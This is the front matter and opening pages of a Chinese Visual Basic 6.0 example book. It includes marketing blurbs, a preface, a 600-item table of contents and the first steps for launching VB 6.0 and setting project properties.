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 实例极为丰富，可谓练习、速查，学习的“四库全书”

《软件开发实战1200例》每个品种的第Ⅰ卷，第Ⅱ卷各精选了600个实例和约500个经验技巧。涵盖了编程多个方面的各种应用，是目前市场上最全面的编程实例类丛书，堪称编程实例的“四库全书”，开发中所需的技术、技巧在本书几乎都可以找到。
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 例子非常实用，由数名工程师积累而成

书中所选实例均是开发中经常需要实用或实现的技术，由数名工程师多年积累而成，许多实例是开发人员梦寐以求的。
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 实例解释详细，可操作性很强

本书实例都会给出程序说明，设计思路，设计步骤，源程序等内容，读者可按部就班直接使用、参考。
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 经验，技巧，总结方便读者拓展

本书实例给出了很多“秘笈心法”，帮助读者拓展思路，解释答疑，少走弯路。
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 完善的技术服务

为了尽快帮助理解内容，读者朋友可通过QQ、BBS，邮箱等多种形式获取相关问题的答复。
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前言

Preface


特别说明：


《Visual Basic开发实战1200例》包括第Ⅰ卷、第Ⅱ卷共计1200个例子，本书是第Ⅰ卷，包含600个例子。

程序开发是一项艰辛的工作，它不仅考验开发人员的智力，更考验开发人员的体力。纵观国内的软件企业，内部开发团队挑灯夜战，连续几个月加班加点工作是常有的事情。笔者曾“有幸”参加过十几个项目的开发工作，对编程有深刻的体会。编程是一项复杂的创造性工作，它需要开发人员掌握各方面的知识和积累丰富的开发经验。项目开发中的一个问题可能会占用团队几天甚至十几天的时间，但是如果开发人员遇到过类似的问题，也许几分钟就可以解决。这就是编程经验的重要性，也是许多软件企业用人时选择有项目开发经验者的主要原因。

本书精选了项目开发中的600个实例，涵盖了Visual Basic基础知识、窗体界面设计、控件技术等方面的内容，每一个知识点都提供了丰富的、具有很强实用性的实例，以帮助开发人员快速解决疑难问题。

本书内容

本书分为6篇20章，共计600个实例。书中所选实例均来源于一线开发人员的实际项目开发，囊括了开发中经常使用和需要解决的热点、难点问题，使读者可以快速地解决开发中的难题，提高编程效率。本书亮点内容导航如下图所示。
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书中在讲解实例时采用统一的编排样式，每个实例由“实例说明”、“关键技术”、“设计过程”和“秘笈心法”4部分构成。其中，“实例说明”部分采用图文结合的方式介绍实例的功能和运行效果；“关键技术”部分介绍了实例使用的重点、难点技术；“设计过程”部分讲解了实例的详细开发过程；“秘笈心法”部分给出了与实例相关的技巧和经验总结。

本书特点
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 实例极为丰富

本书第I卷、第II卷各精选了600个实例和约600个经验技巧，涵盖了编程中多个方面的各种应用。用户开发中所需的技术、技巧在本书几乎都可以找到。
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 例子非常实用

书中所选实例均是项目开发中经常需要使用或实现的技术，由数名工程师多年积累而成，许多实例是开发人员梦寐以求的。
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 可操作性很强

本书实例都给出了程序说明、设计思路、设计步骤、源程序等内容，读者可按部就班地直接使用。
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 完善的技术服务

为了帮助读者尽快理解内容，读者朋友可通过QQ、BBS、邮箱、电话等多种形式获取相关问题的答复。

本书DVD光盘

为了帮助读者学习和使用书中的实例，本书附赠有DVD光盘，其中不仅提供了书中所有实例项目的源代码、素材，还提供了关键实例的开发视频讲解及Visual Basic学习资料等内容。光盘目录如下图所示。
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本书约定
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 实例使用方法

用户在学习本书的过程中，可以从光盘中复制实例，去掉实例的只读属性。有些实例需要使用相应的数据库或第三方资源，这些实例在使用前需要进行相应配置，详细使用方式请参考本书的光盘使用说明书。此外，如果用户直接将本书实例用于商业用途，由此产生的不良后果由用户自己承担。
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 实例及录像位置

书中实例在光盘中的存储格式为“MR\章号\实例序号”。例如，“MR\04\096”表示实例096，位于第4章。书中关键实例在光盘中提供了开发录像，录像的存储格式与实例的存储格式是相同的。例如，查看实例096的开发录像，可以在光盘中的“MR\04\096”路径下找到，录像名称与实例名称相同，格式为EXE格式。
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 录像使用说明

本书赠送的实例录像采用EXE文件格式，无须使用播放器，双击就可以直接播放。在主目录中，目录前有录像图标的实例，表示在光盘中存在视频录像。
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 部分实例只给出关键代码

由于篇幅限制，书中有些实例只给出了关键代码，完整代码请参考光盘实例程序。

读者人群

本书非常适合以下人员阅读：


	Visual Basic初学者，如高校大学生、求职人员、培训机构学员

	Visual Basic程序员



学习答疑

如果您在学习或使用本书的过程中遇到问题或疑惑，可以通过如下方式与我们联系。


	服务网站：www.mingribook.com

	服务QQ：100310265或100310063

	服务信箱：mingrisoft@mingrisoft.com

	服务电话：0431-84978981/84978982

	学习社区：www.mrbccd.com



我们承诺将在5个工作日内给您提供解答。

本书作者

本书由明日科技组织编写，参加编写的程序员有孙秀梅、巩建华、安剑、刘欣、杨丽、李贺、刘龄龄、董大永、李继业、高春艳、房大伟、王小科、吕双、刘彬彬、王国辉、张彦国、李伟明、梁水、刘中华、陈丹丹、张振坤、李钟尉、刘云峰、赵会东、潘凯华、宋坤等。由于笔者水平有限，疏漏和不足之处在所难免，恳请广大读者朋友批评指正。
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前言



第1篇　编程基础篇

第1章　初识Visual Basic 6.0

1.1　Visual Basic 6.0的环境配置
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 实例001　启动VB 6.0



实例002　设置工程属性



实例003　定制工具栏
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 实例004　窗体的布局



实例005　对齐控件



实例006　在工程中查找文本



实例007　定制编程环境





1.2　VB应用程序的开发步骤
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 实例008　创建或打开新工程



实例009　建立并设计用户界面



实例010　添加程序代码



实例011　运行调试程序



实例012　保存程序并生成可执行文件





1.3　控件注册和对象引用
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 实例013　添加ActiveX控件



实例014　引用对象



实例015　添加第三方控件



实例016　加载和使用API阅览器



实例017　定制模板库





1.4　趣味程序
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 实例018　神秘的心理测试







第2章　语言基础

2.1　变量和常量

实例019　局部变量制作计数器



实例020　使用公用变量记录当前登录用户
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 实例021　使用自定义常量计算圆的面积





2.2　运算符与表达式
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 实例022　计算加权平均值



实例023　金额大小写转换





2.3　常用的函数与语句

实例024　大小写转换



实例025　程序立即退出



实例026　数字与字符串的转换



实例027　文本字数统计



实例028　一封家书





2.4　条件语句

实例029　使用If语句判断成绩优良



实例030　大了小了猜想



实例031　判断输入的是字母还是数字



实例032　使用Select Case语句判断成绩优良



实例033　制作简单计算器



实例034　测试十二生肖运势





2.5　循环与跳转语句

实例035　防止无限循环



实例036　0到100的累加



实例037　谁最大，谁最小
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 实例038　漂亮的星星



实例039　完数判断





2.6　对象与数据结构

实例040　将文本控件加入到集合中



实例041　创建包括12个月份的枚举类型



实例042　利用Object变量传递参数



实例043　有效使用Me关键字



实例044　利用CallByName函数对对象进行操作



实例045　打印住宿登记







第3章　数组与指针

3.1　数组的引用与算法
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 实例046　如何获取数组上限和下限



实例047　如何在数组中插入数组元素



实例048　如何删除数组元素



实例049　利用数组实现矩阵转换



实例050　对数组进行二分查找





3.2　数组的应用

实例051　利用数组统计文字段落数



实例052　利用数组随机抽取幸运观众



实例053　利用二维数组向MSFlexGrid表格添加数据



实例054　利用数组设置MSFlexGrid的表头和列宽
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 实例055　幼儿识字卡片



实例056　Visual Basic内嵌汇编语言



实例057　在Visual Basic 6.0中实现栈





3.3　控件数组

实例058　动态添加或删除控件



实例059　利用控件数组录入数据



实例060　利用控件数组设置控件状态



实例061　如何声明控件变量数组





3.4　指针地址获取

实例062　如何获取对象实例私有域的地址



实例063　获取字符串第一个字的地址



实例064　获取变量的地址



实例065　获取数组的地址



实例066　获取自定义过程地址





3.5　地址调用

实例067　传递对象指针



实例068　传递字符串指针



实例069　传递变量指针



实例070　利用地址偏移访问内存





3.6　指针综合应用

实例071　利用安全数组借用内存的方法



实例072　利用指针实现数组的插入



实例073　利用指针实现数组的拆分



实例074　利用指针过滤数组重复数据
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 实例075　使用Split函数分隔明日公司网址







第4章　程序常用算法

4.1　计算类算法
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 实例076　最大公约数和最小公倍数



实例077　杨辉三角



实例078　输出100以内的素数



实例079　哥德巴赫猜想



实例080　查找最大值和最小值



实例081　百钱百鸡——穷举法



实例082　十进制转换为其他进制



实例083　使用迭代法求某数平方根



实例084　小管家房贷计算器



实例085　个人所得税计算器





4.2　判断类算法

实例086　判断闰年



实例087　判断身份证是否合法



实例088　判断城市电话区号是否正确





4.3　排序类算法

实例089　直接插入排序算法



实例090　希尔排序算法



实例091　选择排序算法
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 实例092　起泡排序算法



实例093　快速排序算法



实例094　归并排序算法





4.4　查找算法

实例095　顺序查找



实例096　二分法查找



实例097　分块查找



实例098　哈希查找





4.5　字符处理应用
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 实例099　简单的加密解密算法



实例100　字符串处理





4.6　游戏算法

实例101　星座查询



实例102　贪吃蛇



实例103　猜数字



实例104　五子棋对战





4.7　定理与猜想

实例105　斐波那契数列



实例106　角谷猜想



实例107　验证歌德巴赫猜想



实例108　四方定理



实例109　尼科彻斯定理





4.8　逻辑推理与生活中的数学

实例110　魔术师的秘密



实例111　婚礼上的谎言



实例112　谁讲了真话



实例113　黑纸与白纸



实例114　巧分苹果



实例115　老王卖瓜——卖西瓜



实例116　三天打鱼——打渔晒网问题



实例117　细水长流——水池注水问题



实例118　分我杯羹——分鱼问题



实例119　平分秋色——递归解分鱼问题



实例120　会逢其适——求车运行速度



实例121　进退失据——一圈人逢三退一







第5章　字符串及字符串处理技术

5.1　字符串转换
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 实例122　字母与ASCII码的相互转换



实例123　汉字区位码与汉字的相互转化



实例124　数字与字符串的相互转换





5.2　字符串查找与判断比较
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 实例125　在字符串中查找指定字符



实例126　在字符串中提取部分字符



实例127　利用IsNumeric函数判断是否为数字



实例128　统计某个字符在一个字符串变量中的出现次数



实例129　判断字符串中某一字符是否大写



实例130　判断字符串是否为日期或时间



实例131　判断获得字符串中大写字符的个数



实例132　巧截字符串的数字



实例133　计算字符串中子字符串出现的次数



实例134　判断某一字符是否在字符串中





5.3　字符串处理

实例135　在字符串中用一子串替换另一子串
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 实例136　如何将一行字符串分成一列字符



实例137　根据标点符号分行



实例138　去掉字符串中所有空格



实例139　去除字符串尾空格





5.4　字符串位置与长度

实例140　获得中英文混合字符串的字节长度



实例141　获得某个字符在一个字符串中最后出现的位置



实例142　获得字符串中指定后几位字符





5.5　综合应用

实例143　从字符串中分离文件路径、文件名及其扩展名



实例144　进行文本加密与解密



实例145　对字符串进行加、减、乘、除计算



实例146　统计字符个数



实例147　实现字节数组和字符串的相互转换



实例148　用VB分离出文本框的单词







第6章　过程与函数

6.1　自定义过程

实例149　过程值传递参数



实例150　过程引用传递参数
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 实例151　不借助第3个变量实现两个变量互换



实例152　计算加权平均值



实例153　检查参数是否成功传递给用户自定义过程



实例154　使用递归过程实现阶乘运算





6.2　综合应用

实例155　制作改变窗体颜色的自定义过程



实例156　利用错误号获取错误名称



实例157　将汉字转换为Unicode字符代码



实例158　获取在已打开文件中的读写位置



实例159　判断变量是否被初始化



实例160　获取文件创建或修改日期



实例161　自定义错误号



实例162　获取当前打开窗口数量



实例163　随机获取姓名



实例164　防止连续出现多个空格



实例165　给程序添加运行参数



实例166　获取汉字拼音简码



实例167　随机抽取字符串



实例168　自定义延时函数





6.3　内置函数

实例169　快速查找或替换文本中的字符



实例170　将金额格式化为包含6位小数的格式



实例171　将日期格式化为指定格式



实例172　判断月份最后一天



实例173　获得Windows系统已经运行的时间



实例174　获取当前日期与指定日期的绝对值



实例175　使用Shell函数打开记事本



实例176　获取系统环境信息



实例177　掷骰子
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 实例178　倒计时程序



实例179　数字时钟



实例180　文本加密与解密



实例181　我的计算器



实例182　幸运抽奖



实例183　自制闹钟



实例184　利用Command函数显示图片
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 实例185　石头剪子布



实例186　七星彩摇奖机





6.4　日期函数专栏

实例187　将AM/PM格式时间转换为普通格式时间



实例188　将年、月、日转换为日期



实例189　将时、分、秒转换为时间



实例190　获取星期名称



实例191　获取月份名称



实例192　创建日历



实例193　做成一个有时间限制的测试版



实例194　判断经历多少个工作日



实例195　实现系统分段报时



实例196　利用timeGetTime函数更精准地计算时间差



实例197　使用DateAdd函数向日期型数据加值







第7章　数据处理技术

7.1　非法输入控制

实例198　只允许输入数字
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 实例199　只允许输入汉字



实例200　只允许输入特殊字符



实例201　禁止输入非法字符



实例202　数据保存前检查数据是否正确





7.2　数据格式转换
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 实例203　生成“000”格式的编码



实例204　将数字格式化为金额



实例205　将小写数字金额格式化为大写金额



实例206　根据字段类型自动格式化DataGrid表格中的数据





7.3　数据辅助录入

实例207　利用组合框辅助录入数据



实例208　利用DataGrid控件辅助录入数据



实例209　利用数据窗口辅助录入数据



实例210　在DataGrid表格中实现下拉列表框





7.4　编号、单据号生成

实例211　自动生成产品编号



实例212　批量生成房屋编号



实例213　根据编码规格自动生成各种单据号





7.5　辅助与自动化

实例214　根据用户输入需求自动调整输入法



实例215　输入的数据自动加入输入列表



实例216　设计带记忆的数据录入窗口



实例217　根据用户输入英语还是汉语决定显示内容





7.6　数据的输入控制

实例218　禁止录入重复数据



实例219　只允许在指定的列表框中选择输入



实例220　禁止用户输入数据
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 实例221　化繁为简——拼音简码查询



实例222　汉字和区位码互转



实例223　通过程序设置系统日期和时间的格式



实例224　进制转换









第2篇　窗体技术篇

第8章　窗体设计

8.1　窗体基本应用
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 实例225　制作登录退出窗体



实例226　利用Tag属性存储用户名



实例227　控件随窗体自动调整



实例228　随机更换主界面背景



实例229　背景为渐变色的主界面



实例230　控制其他程序成为自己程序的子窗体



实例231　获取窗体分辨率



实例232　获取当前打开窗口数量



实例233　限制调整窗口大小的最大值



实例234　整个窗体铺满图片





8.2　主界面应用实例

实例235　类似超级兔子的程序界面



实例236　类似瑞星的导航主界面



实例237　类似Windows XP的程序界面



实例238　Outlook式主界面



实例239　可以用鼠标切分的窗体





8.3　窗体位置应用实例
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 实例240　设置窗口在屏幕中的位置



实例241　保存用户对窗体大小的更改



实例242　将自己的程序永远置前



实例243　随桌面分辨率变化的程序界面



实例244　磁性窗体





8.4　窗体标题栏应用实例

实例245　闪烁的窗体标题栏



实例246　拖动没有标题栏的窗体



实例247　禁用窗体最大化、最小化或关闭快捷菜单



实例248　使窗体标题栏不响应鼠标双击



实例249　程序运行时隐藏标题栏





8.5　窗体形状及应用
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 实例250　椭圆形窗体界面



实例251　钻石形窗体



实例252　创建透明窗体



实例253　设置窗体透明度



实例254　创建字型窗体



实例255　创建T型窗体





8.6　MDI窗体应用
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 实例256　设计多文档界面



实例257　MDI窗体图片自适应



实例258　禁用MDI窗体控制栏中“最大化”按钮



实例259　禁止调整MDI窗体大小





8.7　实用功能窗体设计

实例260　欢迎窗体



实例261　调用API函数设计关于窗体



实例262　屏幕滚动字幕



实例263　窗体抖动



实例264　显示Windows搜索窗口



实例265　使用InputBox创建密码输入框



实例266　使用API函数显示颜色对话框







第9章　菜单应用技术

9.1　标准菜单应用
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 实例267　为菜单添加访问键和快捷键



实例268　给菜单添加分割线



实例269　制作复选菜单



实例270　创建级联菜单



实例271　可收缩展开的菜单



实例272　动态创建菜单





9.2　制作个性化菜单

实例273　制作多语言菜单



实例274　改变菜单的颜色



实例275　创建菜单单选项



实例276　向系统菜单中添加自定义菜单



实例277　创建带历史信息的菜单



实例278　创建分栏式菜单
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 实例279　创建弹出式菜单



实例280　控件上的弹出式菜单



实例281　创建带图标的菜单



实例282　为无标题栏窗体添加菜单



实例283　创建个性化弹出式菜单





9.3　高级菜单应用

实例284　调用系统菜单



实例285　调用其他应用程序的菜单



实例286　创建右键菜单用于粘贴



实例287　制作带菜单的记事本



实例288　根据表中数据动态生成菜单
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 实例289　通过菜单控制操作权限



实例290　菜单复制器



实例291　菜单提取器





9.4　导航菜单应用实例

实例292　图形导航按钮



实例293　树状导航菜单



实例294　类似QQ式导航菜单



实例295　将程序图标添加到托盘中







第10章　工具栏与状态栏

10.1　工具栏应用

实例296　利用ToolBar控件创建简单的工具栏
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 实例297　带图标的工具栏



实例298　IE式工具栏



实例299　带提示功能的工具栏



实例300　为工具栏添加事件处理代码
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 实例301　带下拉菜单的工具栏



实例302　可调整按钮位置的工具栏



实例303　浮动工具栏



实例304　根据表中数据动态生成工具栏



实例305　利用CoolBar控件制作工具栏



实例306　自己制作工具栏





10.2　状态栏应用
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 实例307　显示系统时间的状态栏



实例308　显示当前用户的状态栏



实例309　时间显示到秒的状态栏



实例310　在状态栏中显示鼠标位置



实例311　在状态栏中显示当前状态



实例312　在状态栏中显示数据库属性



实例313　动态添加状态栏窗格



实例314　自己制作状态栏









第3篇　控件应用篇

第11章　标准控件应用

11.1　标签文本框典型实例

实例315　按设定值使标签自动换行
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 实例316　使用标签控件模拟按钮动作



实例317　限制文本框输入字符数
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 实例318　限制文本框只能输入数字



实例319　自动删除文本中的非法字符



实例320　格式化文本为指定格式



实例321　限定文本框只允许输入日期型数据



实例322　为文本框设置新的系统菜单



实例323　文本框只能输入小写字母



实例324　为文本框添加列表选择框



实例325　使两个文本框的内容同步



实例326　在文本框光标处插入文字



实例327　文本框获得焦点自动全选



实例328　自定义文本框插入符



实例329　获取文本框内文本框行数



实例330　文本框实现撤销功能





11.2　列表框、组合框控件应用

实例331　向列表框控件添加数据



实例332　利用ListBox控件实现标签式的数据选择



实例333　删除列表框中的复选数据



实例334　快速选中ListBox中的全部条目



实例335　列表中拒绝添加重复信息
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 实例336　移动列表中项目到另一个列表



实例337　将数据库中的数据表添加到列表中



实例338　将表中数据添加到ListBox列表



实例339　带水平滚动条的ListBox控件



实例340　在列表框数据中随机抽取数据



实例341　防止将重复项目添加到组合框控件中



实例342　实现ComboBox条目快速查询



实例343　将数据表中的字段添加到ComboBox控件



实例344　自动改变ComboBox下拉列表的长度



实例345　改变ComboBox控件下拉列表的宽度
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 实例346　将ComboBox控件放到ToolBar控件上





11.3　按钮选择类控件

实例347　设置按钮支持Enter键和Esc键



实例348　为按钮动态加载图片



实例349　动态添加按钮及其响应事件



实例350　利用按钮数组控件简化编程



实例351　制作粘性按钮



实例352　制作赛跑小游戏



实例353　利用选择控件设置操作权限



实例354　字体设置



实例355　利用选择控件实现复杂查询





11.4　图形图像控件应用

实例356　随鼠标移动的图形



实例357　在图片上放置文字





11.5　滚动条控件

实例358　使用滚动条改变窗体颜色



实例359　使用鼠标移动滚动条



实例360　浏览大幅图片



实例361　实现窗体滚动





11.6　时钟控件

实例362　制作倒计时程序
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 实例363　打老鼠游戏





11.7　其他应用

实例364　利用Load和Unload动态添加、删除控件



实例365　利用Shape控件实现按钮效果



实例366　获得窗体中的控件名称列表



实例367　为控件添加标题栏和控制按钮



实例368　画桃花







第12章　ActiveX控件应用

12.1　框架类控件应用

实例369　利用TabStrip控件与Frame控件实现选项卡



实例370　为SSTab选项卡设置背景色



实例371　获得选项卡中所有控件



实例372　为SSTab选项卡添加图标



实例373　限制用户切换SSTab选项卡



实例374　利用SSTab控件设计系统设置程序
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 实例375　利用SSTab控件设计多选项卡浏览器





12.2　进度条控件应用
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 实例376　为启动界面添加进度条



实例377　在数据库处理时显示进度



实例378　制作特效进度条



实例379　更改进度条颜色



实例380　利用Slider控件实现音量调整





12.3　CommonDialog控件应用

实例381　使用“打开”对话框打开一个文件



实例382　设置默认路径



实例383　使用颜色对话框设置窗体背景色



实例384　显示“打印”或“打印选项”对话框



实例385　从公共对话框控件中提取多个文件名称





12.4　RichTextBox控件应用

实例386　使用RichTextBox控件打开和保存文件



实例387　在RichTextBox控件中查找文本



实例388　在RichTextBox控件中进行中英文文字查找并描红



实例389　在RichTextBox控件中进行文本替换



实例390　提取RichTextBox控件文本到数组



实例391　对RichTextBox控件中的选定文本进行打印



实例392　设置RichTextBox控件的页边距



实例393　高亮度显示一整行



实例394　获取文本行号



实例395　利用RichTextBox控件实现文档管理功能



实例396　用RichTextBox控件显示图文数据



实例397　创建彩虹文字





12.5　TreeView控件应用
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 实例398　树状显示吉林省各市县名称



实例399　设置TreeView控件的背景色



实例400　获得所有同级节点的内容



实例401　在树状结构上实现右键菜单



实例402　带复选功能的树状结构



实例403　使用TreeView控件实现多级商品信息浏览



实例404　动态修改树状结构的节点



实例405　将XML文档显示在TreeView中





12.6　ListView控件应用

实例406　显示列表中当前人员的姓名信息



实例407　设置ListView控件的显示方式



实例408　将图标加载到ListView控件中



实例409　利用ListView控件显示图像列表



实例410　将数据库中的表添加到ListView控件



实例411　设置ListView控件的行间隔颜色
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 实例412　利用ListView控件设置用户权限





12.7　时间日期类控件应用

实例413　判断当前选定的日期是星期几



实例414　查询指定时间段的数据







第13章　自定义组件和第三方控件

13.1　自定义控件及类库
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 实例415　透明窗体类库



实例416　数据库通用模块



实例417　Excel表格生成模块
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 实例418　程序托盘控件



实例419　验证码控件



实例420　文件夹列表对话框控件
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 实例421　自定义标题栏控件





13.2　第三方控件及类库的使用

实例422　使用ShockwaveFlash控件播放动画



实例423　使用BarCodeCtrl控件生成条形码



实例424　使用WindowsMediaPlayer控件播放视频



实例425　使用SimpleChart控件生成图表



实例426　使用CtListBar控件制作QQ菜单



实例427　使用Microsoft Agent控件制作程序助手



实例428　使用Microsoft Calendar控件制作日历



实例429　使用ScriptControl控件对字符串进行运算



实例430　使用BSE控件创建不同风格的按钮



实例431　使用VsMenu控件创建漂亮菜单



实例432　使用ccrpProgressBar控件创建不同风格进度条



实例433　使用ccrpHotKey控件创建热键



实例434　使用ezDICOMX控件浏览医疗图像









第4篇　键盘鼠标篇

第14章　鼠标相关

14.1　鼠标指针和键

实例435　定义鼠标指针形状
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 实例436　自定义鼠标指针图标



实例437　设置鼠标为ani格式的动画



实例438　为无标题的窗体添加鼠标效果



实例439　实现大十字光标的形式



实例440　交换鼠标的左右键



实例441　判断鼠标按下键值





14.2　鼠标动作

实例442　移动鼠标



实例443　鼠标的显示与隐藏



实例444　获得窗体上鼠标的位置



实例445　获得屏幕上鼠标的位置



实例446　限制鼠标在某一区域工作



实例447　拖动无标题栏的窗体移动



实例448　利用鼠标绘图
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 实例449　鼠标点不到的按钮



实例450　记录鼠标行为



实例451　获得和设置鼠标双击时间间隔



实例452　跟随鼠标移动的蝴蝶



实例453　制作鼠标拖拽控件程序



实例454　捕捉MouseEnter和MouseExit事件



实例455　鼠标样式设置器



实例456　利用鼠标移动浏览大幅图片



实例457　鼠标事件记录



实例458　快捷键注册





14.3　鼠标应用

实例459　带鼠标指针的屏幕抓图



实例460　鼠标穿透效果



实例461　屏幕取词
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 实例462　打造自己的开心农场







第15章　键盘相关

15.1　键盘基础
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 实例463　键盘ASCII码查询



实例464　按Enter键移动焦点



实例465　将Enter键变成Tab键



实例466　判断Num Lock键和Caps Lock键是否锁定



实例467　转换键值



实例468　禁止使用窗体上的×关闭窗体



实例469　为自己的程序设置热键



实例470　为窗体设置热键



实例471　模拟Print Screen键按下



实例472　禁止使用Alt+F4键来关闭窗体



实例473　拒绝键盘输入和鼠标按下





15.2　键盘综合应用

实例474　避免按Enter键产生“嘀”声



实例475　键盘幽灵



实例476　指法练习软件



实例477　制作打字母游戏
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 实例478　警察抓小偷









第5篇　文件技术篇

第16章　文件基本操作

16.1　文件基本信息

实例479　获取文件的大小



实例480　获得文件的扩展名



实例481　获取文件最后修改时间



实例482　使用API函数获取文件创建时间



实例483　使用API函数获取文件最后修改时间



实例484　获取文件特征码



实例485　从文件路径中获取文件名



实例486　获取短文件名



实例487　将短文件名转换为长文件名



实例488　获得文件的属性
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 实例489　设置文件属性





16.2　文件基本操作

实例490　批量删除指定类型的文件
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 实例491　批量重命名文件



实例492　删除文件



实例493　利用FileCopy语句复制文件



实例494　利用API函数MoveFile移动文件



实例495　利用API函数SHFileOperation复制文件



实例496　使用API函数CopyFile复制文件



实例497　使用API函数DeleteFile删除文件



实例498　使用API函数CopyLZFile复制文件



实例499　使用API函数创建文本文件



实例500　使用FSO对象创建文本文件
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 实例501　比较文件



实例502　判断文件是否存在



实例503　搜索文件



实例504　将文件删除至“回收站”



实例505　VB与Windows资源管理器互拷文件



实例506　选择执行具有特定标识的程序





16.3　文件打开与读取、写入

实例507　获取已经打开的文件的大小



实例508　设置随机访问文件的读取位置



实例509　从文件逐行获取信息



实例510　从文件逐字符获取信息



实例511　从文件一次性获取信息



实例512　以默认方式打开文件



实例513　二进制文件的读取与写入操作



实例514　以流的方式打开文本文件



实例515　使用XML文件保存数据



实例516　从INI文件读取程序设置



实例517　将窗体标题保存在INI文件中



实例518　以十六进制显示文件



实例519　文件分割与合并



实例520　替换文本文件中字符串



实例521　拖放文件，将文件名添加至列表框



实例522　创建临时文件







第17章　文件夹操作

17.1　文件夹基本操作
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 实例523　利用MkDir语句创建文件夹



实例524　利用FSO对象创建文件夹



实例525　根据数据库数据建立文件夹



实例526　删除文件夹



实例527　使用递归法删除文件夹



实例528　选择文件夹





17.2　文件夹应用

实例529　更改文件夹图标



[image: ]
 实例530　保存文件夹目录到INI文件



实例531　提取文件及文件夹的目录



实例532　网络文件夹复制



实例533　文件夹加密



实例534　用VB设计个性化文件夹









第6篇　图形图像技术篇

第18章　图形的绘制

18.1　绘制几何图形

实例535　自定义容器的坐标系统



[image: ]
 实例536　绘制网格



实例537　绘制立体三棱锥



[image: ]
 实例538　绘制抛物线



实例539　利用Line控件设计分割线



实例540　绘制正方形



实例541　绘制正弦曲线





18.2　绘制图案

实例542　绘制艺术图案



实例543　万花筒





18.3　图形图像算法

实例544　沙丘图案的算法



实例545　等电位面图的算法



实例546　蜗牛线算法



实例547　绘制贝塞尔曲线算法



实例548　绘制尼哥米德蚌线的算法



实例549　画图程序







第19章　图像特效显示

19.1　图像的几何变换

实例550　图像剪切



实例551　图像的合成



实例552　图像翻转效果



实例553　图像旋转



实例554　二次线性插值法缩放图像





19.2　图像显示特效

实例555　图像切换特效



[image: ]
 实例556　电影胶片特效



实例557　图片百叶窗效果



[image: ]
 实例558　栅条显示特效



实例559　图像马赛克效果



实例560　雨滴显示特效





19.3　常见滤镜效果

实例561　图像锐化处理



实例562　图像柔化处理



实例563　图像灰度效果



实例564　图像反色处理



[image: ]
 实例565　图像浮雕效果



实例566　图像明暗效果的改变



实例567　图像色彩转换



实例568　图像亮度对比度改变



实例569　图像饱和度改变





19.4　其他图像处理操作

实例570　图像压缩处理



实例571　图像格式转换



实例572　图像边缘检测一



实例573　图像边缘检测二







第20章　图像管理

20.1　图像文件管理

实例574　保存图形文件



[image: ]
 实例575　VB制作图片浏览器



实例576　具有缩略图功能的图片浏览器



实例577　批量修改图片名称



实例578　管理计算机内图片文件的程序



实例579　将指定文件夹下的图片分类存储



实例580　提取并保存应用程序的图标



实例581　图像分页预览



实例582　图像存储在数据库





20.2　图像识别

[image: ]
 实例583　获取鼠标任意位置的颜色值



实例584　提取图片中的对象



实例585　简易人像识别程序





20.3　图片动画

实例586　利用图片制作屏幕保护程序



实例587　图片动画





20.4　其他应用

实例588　滚动广告字幕



实例589　屏幕抓图程序



实例590　电子名片
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 实例591　调用Word中的艺术字



实例592　使Windows开始屏幕保护



实例593　利用VB实现更换墙纸的功能



实例594　利用VB实现更换墙纸



实例595　屏幕保护程序（从左到右显示图片）



实例596　图片转换为字符串



实例597　网页抓图



实例598　屏幕放大镜



实例599　明日电子书



实例600　绘制石英钟









附录：参看CD链接




第1篇　编程基础篇

第1章　初识Visual Basic 6.0

第2章　语言基础

第3章　数组与指针

第4章　程序常用算法

第5章　字符串及字符串处理技术

第6章　过程与函数

第7章　数据处理技术


第1章　初识Visual Basic 6.0

Visual Basic 6.0的环境配置

VB应用程序的开发步骤

控件注册和对象引用

趣味程序






 1.1　Visual Basic 6.0的环境配置



 实例001　启动VB 6.0

光盘位置：光盘\MR\01\001

初级

趣味指数：[image: ]




实例说明

程序设计的第一步就是创建或者打开一个工程，只有打开工程后才能对程序进行编辑设计。在系统中安装了VB 6.0之后才可以打开VB工程进行程序设计。

设计过程

（1）选择“开始”/“所有程序”/“Microsoft Visual Basic 6.0 中文版”/“Microsoft Visual Basic 6.0中文版”命令，如图1.1所示。如果在桌面上创建了快捷方式，可以通过在桌面上双击VB 6.0的快捷方式图标来启动VB 6.0。

[image: ]
图1.1　启动VB 6.0



（2）VB 6.0启动时，首先看到如图1.2所示的界面。在启动界面中，可以看到如下信息，安装的VB 6.0的版本（这里为企业版）和该版本所安装的补丁（即升级服务包，这里为SP6（Service Pack 6））。

[image: ]
图1.2　VB 6.0 启动界面



（3）在启动VB 6.0以后，将打开一个“新建工程”窗口。在该窗口中包括3个选项卡，分别是“新建”、“现存”、“最新”，其具体功能如下。


	“新建”选项卡：显示可打开的工程类型。

	“现存”选项卡：显示一个对话框，可以在那里定位并选择想打开的工程。

	“最新”选项卡：列出最近打开的工程及其位置。



选择“新建”选项卡，单击“标准EXE”图标，然后单击“打开”按钮即可创建一个标准EXE工程，如图1.3所示。

[image: ]
图1.3　“新建工程”窗口




注意：
 “新建工程”窗口仅在启动VB 6.0时出现，在选择“文件”/“新建工程”命令时出现的“新建工程”窗口中，将不出现该选项卡。

秘笈心法

心法领悟001：解决Visual Basic安装后保存工程出现中文乱码。

安装Visual Basic 6.0中文企业版后，在保存中文工程时出现中文乱码。这是因为在VB程序安装时未安装VB 6.0的补丁程序。此时安装Visual Basic 6.0的补丁程序，如SP6（Visual Studio 6.0 Service Pack 6）即可解决这一问题。



 实例002　设置工程属性

光盘位置：光盘\MR\01\002

初级

趣味指数：[image: ]




实例说明

在生成EXE文件之前首先对工程属性进行设置，“工程属性”窗口如图1.4所示。在此窗口中可以设置工程名称、工程类型、启动对象、帮助文件名、工程描述和程序的版本号以及版本信息等。

[image: ]
图1.4　“工程属性”窗口



设计过程

（1）新建一个基于对话框的应用程序。

（2）在工程菜单中选择“工程”/“工程1属性”命令，打开“工程属性”窗口。

（3）打开的“工程属性”窗口自动显示到“通用”选项卡。

（4）设置工程类型、工程名称等。如果有帮助文件可以设置帮助文件，这样在程序运行时，按F1键将调用设置的帮助文件。

秘笈心法

心法领悟002：设置启动对象。

在工程属性窗口中可以设置工程的启动对象，启动对象可以设置为Sub Main，即在模块中添加的启动过程；还可以设置为一个窗体，即程序运行后第一个显示的窗体。



 实例003　定制工具栏

光盘位置：光盘\MR\01\003

初级

趣味指数：[image: ]




实例说明

